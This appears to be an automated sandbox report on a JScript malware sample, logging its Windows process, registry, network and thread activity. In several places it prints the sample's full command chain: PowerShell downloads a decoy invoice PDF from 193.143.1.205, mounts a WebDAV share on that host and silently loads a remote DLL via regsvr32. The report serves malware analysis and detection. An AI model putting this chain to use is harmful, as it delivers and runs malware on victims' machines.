Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6816.js.csv");ITextStream.WriteLine(" entry:7733 f:fiizhqg");ITextStream.WriteLine(" exec:2 f:fiizhqg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4832			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5023			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep count: 4832 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep count: 5023 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5320	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7224	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1830002008.000001F62B968000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1829808332.000001F62B910000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1828772608.000001F62B968000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3063972760.00000264CAA5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3062460479.00000264C542B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
